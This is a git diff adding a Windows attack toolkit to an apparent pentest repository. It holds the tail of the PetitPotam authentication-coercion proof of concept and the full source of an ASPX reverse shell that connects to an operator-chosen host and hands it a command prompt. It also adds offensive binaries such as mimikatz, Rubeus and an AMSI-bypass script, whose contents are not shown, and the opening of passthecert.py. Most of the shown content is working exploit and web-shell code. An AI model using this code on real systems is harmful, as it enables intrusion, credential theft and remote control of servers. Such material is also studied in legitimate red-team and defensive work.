7 : (EfsRpcQueryRecoveryAgents, EfsRpcQueryRecoveryAgentsResponse),
|
||||
8 : (EfsRpcRemoveUsersFromFile, EfsRpcRemoveUsersFromFileResponse),
|
||||
9 : (EfsRpcAddUsersToFile, EfsRpcAddUsersToFileResponse),
|
||||
12 : (EfsRpcFileKeyInfo, EfsRpcFileKeyInfoResponse),
|
||||
13 : (EfsRpcDuplicateEncryptionInfoFile, EfsRpcDuplicateEncryptionInfoFileResponse),
|
||||
15 : (EfsRpcAddUsersToFileEx, EfsRpcAddUsersToFileExResponse),
|
||||
16 : (EfsRpcFileKeyInfoEx, EfsRpcFileKeyInfoExResponse),
|
||||
18 : (EfsRpcGetEncryptedFileMetadata, EfsRpcGetEncryptedFileMetadataResponse),
|
||||
19 : (EfsRpcSetEncryptedFileMetadata, EfsRpcSetEncryptedFileMetadataResponse),
|
||||
21 : (EfsRpcEncryptFileExSrv, EfsRpcEncryptFileExSrvResponse),
|
||||
# 22 : (EfsRpcQueryProtectors, EfsRpcQueryProtectorsResponse),
|
||||
}
|
||||
|
||||
class CoerceAuth():
|
||||
def connect(self, username, password, domain, lmhash, nthash, target, pipe, doKerberos, dcHost, targetIp):
|
||||
binding_params = {
|
||||
'lsarpc': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
},
|
||||
'efsr': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
|
||||
'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
|
||||
},
|
||||
'samr': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
},
|
||||
'lsass': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
},
|
||||
'netlogon': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
},
|
||||
}
|
||||
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
|
||||
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
if targetIp:
|
||||
rpctransport.setRemoteHost(targetIp)
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.set_auth_type(RPC_C_AUTHN_WINNT)
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
print("[-] Connecting to %s" % binding_params[pipe]['stringBinding'])
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
print("Something went wrong, check error status => %s" % str(e))
|
||||
#sys.exit()
|
||||
return
|
||||
print("[+] Connected!")
|
||||
print("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0])
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR']))
|
||||
except Exception as e:
|
||||
print("Something went wrong, check error status => %s" % str(e))
|
||||
#sys.exit()
|
||||
return
|
||||
print("[+] Successfully bound!")
|
||||
return dce
|
||||
|
||||
def EfsRpcOpenFileRaw(self, dce, listener):
|
||||
print("[-] Sending EfsRpcOpenFileRaw!")
|
||||
try:
|
||||
request = EfsRpcOpenFileRaw()
|
||||
request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
|
||||
request['Flag'] = 0
|
||||
#request.dump()
|
||||
resp = dce.request(request)
|
||||
|
||||
except Exception as e:
|
||||
if str(e).find('ERROR_BAD_NETPATH') >= 0:
|
||||
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
|
||||
print('[+] Attack worked!')
|
||||
#sys.exit()
|
||||
return None
|
||||
if str(e).find('rpc_s_access_denied') >= 0:
|
||||
print('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!')
|
||||
print('[+] OK! Using unpatched function!')
|
||||
print("[-] Sending EfsRpcEncryptFileSrv!")
|
||||
try:
|
||||
request = EfsRpcEncryptFileSrv()
|
||||
request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
|
||||
resp = dce.request(request)
|
||||
except Exception as e:
|
||||
if str(e).find('ERROR_BAD_NETPATH') >= 0:
|
||||
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
|
||||
print('[+] Attack worked!')
|
||||
pass
|
||||
else:
|
||||
print("Something went wrong, check error status => %s" % str(e))
|
||||
return None
|
||||
#sys.exit()
|
||||
|
||||
else:
|
||||
print("Something went wrong, check error status => %s" % str(e))
|
||||
return None
|
||||
#sys.exit()
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "PetitPotam - rough PoC to connect to lsarpc and elicit machine account authentication via MS-EFSRPC EfsRpcOpenFileRaw()")
|
||||
parser.add_argument('-u', '--username', action="store", default='', help='valid username')
|
||||
parser.add_argument('-p', '--password', action="store", default='', help='valid password (if omitted, it will be asked unless -no-pass)')
|
||||
parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name')
|
||||
parser.add_argument('-hashes', action="store", metavar="[LMHASH]:NTHASH", help='NT/LM hashes (LM hash can be empty)')
|
||||
|
||||
parser.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
parser.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials '
|
||||
'cannot be found, it will use the ones specified in the command '
|
||||
'line')
|
||||
parser.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter')
|
||||
parser.add_argument('-target-ip', action='store', metavar="ip address",
|
||||
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
|
||||
'This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it')
|
||||
|
||||
parser.add_argument('-pipe', action="store", choices=['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass', 'all'], default='lsarpc', help='Named pipe to use (default: lsarpc) or all')
|
||||
parser.add_argument('listener', help='ip address or hostname of listener')
|
||||
parser.add_argument('target', help='ip address or hostname of target')
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.hashes is not None:
|
||||
lmhash, nthash = options.hashes.split(':')
|
||||
else:
|
||||
lmhash = ''
|
||||
nthash = ''
|
||||
|
||||
print(show_banner)
|
||||
|
||||
if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True:
|
||||
from getpass import getpass
|
||||
options.password = getpass("Password:")
|
||||
|
||||
plop = CoerceAuth()
|
||||
|
||||
if options.pipe == "all":
|
||||
all_pipes = ['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass']
|
||||
else:
|
||||
all_pipes = [options.pipe]
|
||||
|
||||
for all_pipe in all_pipes:
|
||||
print("Trying pipe", all_pipe)
|
||||
dce = plop.connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=options.target, pipe=all_pipe, doKerberos=options.k, dcHost=options.dc_ip, targetIp=options.target_ip)
|
||||
if dce is not None:
|
||||
plop.EfsRpcOpenFileRaw(dce, options.listener)
|
||||
dce.disconnect()
|
||||
sys.exit()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
24810
payloads/windows/PowerView.ps1
Normal file
24810
payloads/windows/PowerView.ps1
Normal file
File diff suppressed because it is too large
Load Diff
4480
payloads/windows/Powermad.ps1
Normal file
4480
payloads/windows/Powermad.ps1
Normal file
File diff suppressed because it is too large
Load Diff
BIN
payloads/windows/PrintSpoofer.exe
Normal file
BIN
payloads/windows/PrintSpoofer.exe
Normal file
Binary file not shown.
BIN
payloads/windows/PsExec64.exe
Normal file
BIN
payloads/windows/PsExec64.exe
Normal file
Binary file not shown.
BIN
payloads/windows/Rubeus.exe
Normal file
BIN
payloads/windows/Rubeus.exe
Normal file
Binary file not shown.
BIN
payloads/windows/Seatbelt.exe
Normal file
BIN
payloads/windows/Seatbelt.exe
Normal file
Binary file not shown.
BIN
payloads/windows/SharpDPAPI.exe
Normal file
BIN
payloads/windows/SharpDPAPI.exe
Normal file
Binary file not shown.
BIN
payloads/windows/SharpGPOAbuse.exe
Normal file
BIN
payloads/windows/SharpGPOAbuse.exe
Normal file
Binary file not shown.
BIN
payloads/windows/SharpHound.exe
Normal file
BIN
payloads/windows/SharpHound.exe
Normal file
Binary file not shown.
422
payloads/windows/SharpHound.ps1
Normal file
422
payloads/windows/SharpHound.ps1
Normal file
File diff suppressed because one or more lines are too long
BIN
payloads/windows/SweetPotato.exe
Normal file
BIN
payloads/windows/SweetPotato.exe
Normal file
Binary file not shown.
BIN
payloads/windows/accesschk.exe
Normal file
BIN
payloads/windows/accesschk.exe
Normal file
Binary file not shown.
BIN
payloads/windows/accesschk64.exe
Normal file
BIN
payloads/windows/accesschk64.exe
Normal file
Binary file not shown.
190
payloads/windows/amsi-bypass.ps1
Normal file
190
payloads/windows/amsi-bypass.ps1
Normal file
File diff suppressed because one or more lines are too long
423
payloads/windows/aspx-reverse-shell.aspx
Normal file
423
payloads/windows/aspx-reverse-shell.aspx
Normal file
@@ -0,0 +1,423 @@
|
||||
<%@ Page Language="C#" %>
|
||||
<%@ Import Namespace="System.Runtime.InteropServices" %>
|
||||
<%@ Import Namespace="System.Net" %>
|
||||
<%@ Import Namespace="System.Net.Sockets" %>
|
||||
<%@ Import Namespace="System.Security.Principal" %>
|
||||
<%@ Import Namespace="System.Data.SqlClient" %>
|
||||
<script runat="server">
|
||||
//Original shell post: https://www.darknet.org.uk/2014/12/insomniashell-asp-net-reverse-shell-bind-shell/
|
||||
//Download link: https://www.darknet.org.uk/content/files/InsomniaShell.zip
|
||||
|
||||
protected void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
String host = Request["LHOST"];
|
||||
int port = Convert.ToInt32(Request["LPORT"]);
|
||||
|
||||
CallbackShell(host, port);
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct STARTUPINFO
|
||||
{
|
||||
public int cb;
|
||||
public String lpReserved;
|
||||
public String lpDesktop;
|
||||
public String lpTitle;
|
||||
public uint dwX;
|
||||
public uint dwY;
|
||||
public uint dwXSize;
|
||||
public uint dwYSize;
|
||||
public uint dwXCountChars;
|
||||
public uint dwYCountChars;
|
||||
public uint dwFillAttribute;
|
||||
public uint dwFlags;
|
||||
public short wShowWindow;
|
||||
public short cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public uint dwProcessId;
|
||||
public uint dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SECURITY_ATTRIBUTES
|
||||
{
|
||||
public int Length;
|
||||
public IntPtr lpSecurityDescriptor;
|
||||
public bool bInheritHandle;
|
||||
}
|
||||
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern bool CreateProcess(string lpApplicationName,
|
||||
string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles,
|
||||
uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
|
||||
[In] ref STARTUPINFO lpStartupInfo,
|
||||
out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
public static uint INFINITE = 0xFFFFFFFF;
|
||||
|
||||
[DllImport("kernel32", SetLastError = true, ExactSpelling = true)]
|
||||
internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds);
|
||||
|
||||
internal struct sockaddr_in
|
||||
{
|
||||
public short sin_family;
|
||||
public short sin_port;
|
||||
public int sin_addr;
|
||||
public long sin_zero;
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern IntPtr GetStdHandle(int nStdHandle);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);
|
||||
|
||||
public const int STD_INPUT_HANDLE = -10;
|
||||
public const int STD_OUTPUT_HANDLE = -11;
|
||||
public const int STD_ERROR_HANDLE = -12;
|
||||
|
||||
[DllImport("kernel32")]
|
||||
static extern bool AllocConsole();
|
||||
|
||||
|
||||
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
internal static extern IntPtr WSASocket([In] AddressFamily addressFamily,
|
||||
[In] SocketType socketType,
|
||||
[In] ProtocolType protocolType,
|
||||
[In] IntPtr protocolInfo,
|
||||
[In] uint group,
|
||||
[In] int flags
|
||||
);
|
||||
|
||||
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
internal static extern int inet_addr([In] string cp);
|
||||
[DllImport("ws2_32.dll")]
|
||||
private static extern string inet_ntoa(uint ip);
|
||||
|
||||
[DllImport("ws2_32.dll")]
|
||||
private static extern uint htonl(uint ip);
|
||||
|
||||
[DllImport("ws2_32.dll")]
|
||||
private static extern uint ntohl(uint ip);
|
||||
|
||||
[DllImport("ws2_32.dll")]
|
||||
private static extern ushort htons(ushort ip);
|
||||
|
||||
[DllImport("ws2_32.dll")]
|
||||
private static extern ushort ntohs(ushort ip);
|
||||
|
||||
|
||||
[DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
|
||||
internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize);
|
||||
|
||||
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
internal static extern int send(
|
||||
[In] IntPtr socketHandle,
|
||||
[In] byte[] pinnedBuffer,
|
||||
[In] int len,
|
||||
[In] SocketFlags socketFlags
|
||||
);
|
||||
|
||||
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
internal static extern int recv(
|
||||
[In] IntPtr socketHandle,
|
||||
[In] IntPtr pinnedBuffer,
|
||||
[In] int len,
|
||||
[In] SocketFlags socketFlags
|
||||
);
|
||||
|
||||
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
internal static extern int closesocket(
|
||||
[In] IntPtr socketHandle
|
||||
);
|
||||
|
||||
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
internal static extern IntPtr accept(
|
||||
[In] IntPtr socketHandle,
|
||||
[In, Out] ref sockaddr_in socketAddress,
|
||||
[In, Out] ref int socketAddressSize
|
||||
);
|
||||
|
||||
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
internal static extern int listen(
|
||||
[In] IntPtr socketHandle,
|
||||
[In] int backlog
|
||||
);
|
||||
|
||||
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
internal static extern int bind(
|
||||
[In] IntPtr socketHandle,
|
||||
[In] ref sockaddr_in socketAddress,
|
||||
[In] int socketAddressSize
|
||||
);
|
||||
|
||||
|
||||
public enum TOKEN_INFORMATION_CLASS
|
||||
{
|
||||
TokenUser = 1,
|
||||
TokenGroups,
|
||||
TokenPrivileges,
|
||||
TokenOwner,
|
||||
TokenPrimaryGroup,
|
||||
TokenDefaultDacl,
|
||||
TokenSource,
|
||||
TokenType,
|
||||
TokenImpersonationLevel,
|
||||
TokenStatistics,
|
||||
TokenRestrictedSids,
|
||||
TokenSessionId
|
||||
}
|
||||
|
||||
[DllImport("advapi32", CharSet = CharSet.Auto)]
|
||||
public static extern bool GetTokenInformation(
|
||||
IntPtr hToken,
|
||||
TOKEN_INFORMATION_CLASS tokenInfoClass,
|
||||
IntPtr TokenInformation,
|
||||
int tokeInfoLength,
|
||||
ref int reqLength);
|
||||
|
||||
public enum TOKEN_TYPE
|
||||
{
|
||||
TokenPrimary = 1,
|
||||
TokenImpersonation
|
||||
}
|
||||
|
||||
public enum SECURITY_IMPERSONATION_LEVEL
|
||||
{
|
||||
SecurityAnonymous,
|
||||
SecurityIdentification,
|
||||
SecurityImpersonation,
|
||||
SecurityDelegation
|
||||
}
|
||||
|
||||
|
||||
[DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
|
||||
public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment,
|
||||
String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")]
|
||||
public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess,
|
||||
ref SECURITY_ATTRIBUTES lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLeve, TOKEN_TYPE TokenType,
|
||||
ref IntPtr DuplicateTokenHandle);
|
||||
|
||||
|
||||
|
||||
const int ERROR_NO_MORE_ITEMS = 259;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct TOKEN_USER
|
||||
{
|
||||
public _SID_AND_ATTRIBUTES User;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct _SID_AND_ATTRIBUTES
|
||||
{
|
||||
public IntPtr Sid;
|
||||
public int Attributes;
|
||||
}
|
||||
|
||||
[DllImport("advapi32", CharSet = CharSet.Auto)]
|
||||
public extern static bool LookupAccountSid
|
||||
(
|
||||
[In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName,
|
||||
IntPtr pSid,
|
||||
StringBuilder Account,
|
||||
ref int cbName,
|
||||
StringBuilder DomainName,
|
||||
ref int cbDomainName,
|
||||
ref int peUse
|
||||
|
||||
);
|
||||
|
||||
[DllImport("advapi32", CharSet = CharSet.Auto)]
|
||||
public extern static bool ConvertSidToStringSid(
|
||||
IntPtr pSID,
|
||||
[In, Out, MarshalAs(UnmanagedType.LPTStr)] ref string pStringSid);
|
||||
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool CloseHandle(
|
||||
IntPtr hHandle);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId);
|
||||
[Flags]
|
||||
public enum ProcessAccessFlags : uint
|
||||
{
|
||||
All = 0x001F0FFF,
|
||||
Terminate = 0x00000001,
|
||||
CreateThread = 0x00000002,
|
||||
VMOperation = 0x00000008,
|
||||
VMRead = 0x00000010,
|
||||
VMWrite = 0x00000020,
|
||||
DupHandle = 0x00000040,
|
||||
SetInformation = 0x00000200,
|
||||
QueryInformation = 0x00000400,
|
||||
Synchronize = 0x00100000
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern IntPtr GetCurrentProcess();
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
extern static IntPtr GetCurrentThread();
|
||||
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,
|
||||
IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle,
|
||||
uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
|
||||
|
||||
[DllImport("psapi.dll", SetLastError = true)]
|
||||
public static extern bool EnumProcessModules(IntPtr hProcess,
|
||||
[MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] uint[] lphModule,
|
||||
uint cb,
|
||||
[MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded);
|
||||
|
||||
[DllImport("psapi.dll")]
|
||||
static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize);
|
||||
|
||||
public const uint PIPE_ACCESS_OUTBOUND = 0x00000002;
|
||||
public const uint PIPE_ACCESS_DUPLEX = 0x00000003;
|
||||
public const uint PIPE_ACCESS_INBOUND = 0x00000001;
|
||||
public const uint PIPE_WAIT = 0x00000000;
|
||||
public const uint PIPE_NOWAIT = 0x00000001;
|
||||
public const uint PIPE_READMODE_BYTE = 0x00000000;
|
||||
public const uint PIPE_READMODE_MESSAGE = 0x00000002;
|
||||
public const uint PIPE_TYPE_BYTE = 0x00000000;
|
||||
public const uint PIPE_TYPE_MESSAGE = 0x00000004;
|
||||
public const uint PIPE_CLIENT_END = 0x00000000;
|
||||
public const uint PIPE_SERVER_END = 0x00000001;
|
||||
public const uint PIPE_UNLIMITED_INSTANCES = 255;
|
||||
|
||||
public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff;
|
||||
public const uint NMPWAIT_NOWAIT = 0x00000001;
|
||||
public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000;
|
||||
|
||||
public const uint GENERIC_READ = (0x80000000);
|
||||
public const uint GENERIC_WRITE = (0x40000000);
|
||||
public const uint GENERIC_EXECUTE = (0x20000000);
|
||||
public const uint GENERIC_ALL = (0x10000000);
|
||||
|
||||
public const uint CREATE_NEW = 1;
|
||||
public const uint CREATE_ALWAYS = 2;
|
||||
public const uint OPEN_EXISTING = 3;
|
||||
public const uint OPEN_ALWAYS = 4;
|
||||
public const uint TRUNCATE_EXISTING = 5;
|
||||
|
||||
public const int INVALID_HANDLE_VALUE = -1;
|
||||
|
||||
public const ulong ERROR_SUCCESS = 0;
|
||||
public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2;
|
||||
public const ulong ERROR_PIPE_BUSY = 231;
|
||||
public const ulong ERROR_NO_DATA = 232;
|
||||
public const ulong ERROR_PIPE_NOT_CONNECTED = 233;
|
||||
public const ulong ERROR_MORE_DATA = 234;
|
||||
public const ulong ERROR_PIPE_CONNECTED = 535;
|
||||
public const ulong ERROR_PIPE_LISTENING = 536;
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr CreateNamedPipe(
|
||||
String lpName,
|
||||
uint dwOpenMode,
|
||||
uint dwPipeMode,
|
||||
uint nMaxInstances,
|
||||
uint nOutBufferSize,
|
||||
uint nInBufferSize,
|
||||
uint nDefaultTimeOut,
|
||||
IntPtr pipeSecurityDescriptor
|
||||
);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool ConnectNamedPipe(
|
||||
IntPtr hHandle,
|
||||
uint lpOverlapped
|
||||
);
|
||||
|
||||
[DllImport("Advapi32.dll", SetLastError = true)]
|
||||
public static extern bool ImpersonateNamedPipeClient(
|
||||
IntPtr hHandle);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool GetNamedPipeHandleState(
|
||||
IntPtr hHandle,
|
||||
IntPtr lpState,
|
||||
IntPtr lpCurInstances,
|
||||
IntPtr lpMaxCollectionCount,
|
||||
IntPtr lpCollectDataTimeout,
|
||||
StringBuilder lpUserName,
|
||||
int nMaxUserNameSize
|
||||
);
|
||||
|
||||
protected void CallbackShell(string server, int port)
|
||||
{
|
||||
|
||||
string request = "Spawn Shell...\n";
|
||||
Byte[] bytesSent = Encoding.ASCII.GetBytes(request);
|
||||
|
||||
IntPtr oursocket = IntPtr.Zero;
|
||||
|
||||
sockaddr_in socketinfo;
|
||||
oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0);
|
||||
socketinfo = new sockaddr_in();
|
||||
socketinfo.sin_family = (short) AddressFamily.InterNetwork;
|
||||
socketinfo.sin_addr = inet_addr(server);
|
||||
socketinfo.sin_port = (short) htons((ushort)port);
|
||||
connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo));
|
||||
send(oursocket, bytesSent, request.Length, 0);
|
||||
SpawnProcessAsPriv(oursocket);
|
||||
closesocket(oursocket);
|
||||
}
|
||||
|
||||
protected void SpawnProcess(IntPtr oursocket)
|
||||
{
|
||||
bool retValue;
|
||||
string Application = Environment.GetEnvironmentVariable("comspec");
|
||||
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
|
||||
STARTUPINFO sInfo = new STARTUPINFO();
|
||||
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
|
||||
pSec.Length = Marshal.SizeOf(pSec);
|
||||
sInfo.dwFlags = 0x00000101;
|
||||
sInfo.hStdInput = oursocket;
|
||||
sInfo.hStdOutput = oursocket;
|
||||
sInfo.hStdError = oursocket;
|
||||
retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
|
||||
WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
|
||||
}
|
||||
|
||||
protected void SpawnProcessAsPriv(IntPtr oursocket)
|
||||
{
|
||||
bool retValue;
|
||||
string Application = Environment.GetEnvironmentVariable("comspec");
|
||||
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
|
||||
STARTUPINFO sInfo = new STARTUPINFO();
|
||||
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
|
||||
pSec.Length = Marshal.SizeOf(pSec);
|
||||
sInfo.dwFlags = 0x00000101;
|
||||
IntPtr DupeToken = new IntPtr(0);
|
||||
sInfo.hStdInput = oursocket;
|
||||
sInfo.hStdOutput = oursocket;
|
||||
sInfo.hStdError = oursocket;
|
||||
if (DupeToken == IntPtr.Zero)
|
||||
retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
|
||||
else
|
||||
retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
|
||||
WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
|
||||
CloseHandle(DupeToken);
|
||||
}
|
||||
</script>
|
||||
0
payloads/windows/chisel.exe
Normal file
0
payloads/windows/chisel.exe
Normal file
0
payloads/windows/chisel64.exe
Normal file
0
payloads/windows/chisel64.exe
Normal file
BIN
payloads/windows/kekeo.exe
Normal file
BIN
payloads/windows/kekeo.exe
Normal file
Binary file not shown.
BIN
payloads/windows/mimidrv64.sys
Normal file
BIN
payloads/windows/mimidrv64.sys
Normal file
Binary file not shown.
BIN
payloads/windows/mimikatz.exe
Normal file
BIN
payloads/windows/mimikatz.exe
Normal file
Binary file not shown.
BIN
payloads/windows/mimikatz64.exe
Normal file
BIN
payloads/windows/mimikatz64.exe
Normal file
Binary file not shown.
BIN
payloads/windows/nc.exe
Normal file
BIN
payloads/windows/nc.exe
Normal file
Binary file not shown.
BIN
payloads/windows/nc64.exe
Normal file
BIN
payloads/windows/nc64.exe
Normal file
Binary file not shown.
BIN
payloads/windows/nmap-setup.exe
Normal file
BIN
payloads/windows/nmap-setup.exe
Normal file
Binary file not shown.
699
payloads/windows/passthecert.py
Normal file
699
payloads/windows/passthecert.py
Normal file
@@ -0,0 +1,699 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Almond (almond.consulting). Copyright (C) 2022 Almond. All rights reserved.
|
||||
#
|
||||
# Accompanying blog post: https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html
|
||||
#
|
||||
# This software is provided under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Description:
|
||||
# This script implements LDAP certificate authentication for two impacket scripts : addComputer.py and rbcd.py.
|
||||
#
|
||||
# If you use Certipy (https://github.com/ly4k/Certipy) to retrieve certificates, you can extract key and cert from the pfx by using:
|
||||
# $ certipy cert -pfx user.pfx -nokey -out user.crt
|
||||
# $ certipy cert -pfx user.pfx -nocert -out user.key
|
||||
#
|
||||
# Author:
|
||||
# drm (@lowercase_drm) / ThePirateWhoSmellsOfSunflowers
|
||||
#
|
||||
# based on :
|
||||
# JaGoTu (@jagotu) work on https://github.com/SecureAuthCorp/impacket/blob/master/examples/addcomputer.py
|
||||
# Remi Gascou (@podalirius_) and Charlie Bromberg (@_nwodtuhs) work on https://github.com/SecureAuthCorp/impacket/blob/master/examples/rbcd.py
|
||||
# Impacket by SecureAuth https://github.com/SecureAuthCorp/impacket
|
||||
#
|
||||
|
||||
import sys
|
||||
import copy
|
||||
import string
|
||||
import random
|
||||
import logging
|
||||
import argparse
|
||||
|
||||
import ssl
|
||||
import ldap3
|
||||
import ldapdomaindump
|
||||
|
||||
from impacket import version
|
||||
from impacket.examples import logger
|
||||
from impacket.examples.ldap_shell import LdapShell as _LdapShell
|
||||
from impacket.ldap import ldaptypes
|
||||
from impacket.uuid import string_to_bin
|
||||
|
||||
class LdapShell(_LdapShell):
|
||||
